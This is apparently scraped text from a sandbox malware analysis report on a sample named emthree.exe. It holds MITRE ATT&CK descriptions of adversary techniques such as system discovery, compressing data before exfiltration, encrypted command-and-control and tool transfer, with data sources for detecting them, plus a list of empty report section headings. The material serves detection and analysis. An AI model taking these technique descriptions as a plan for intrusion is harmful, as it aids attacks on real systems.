Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report emthree.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre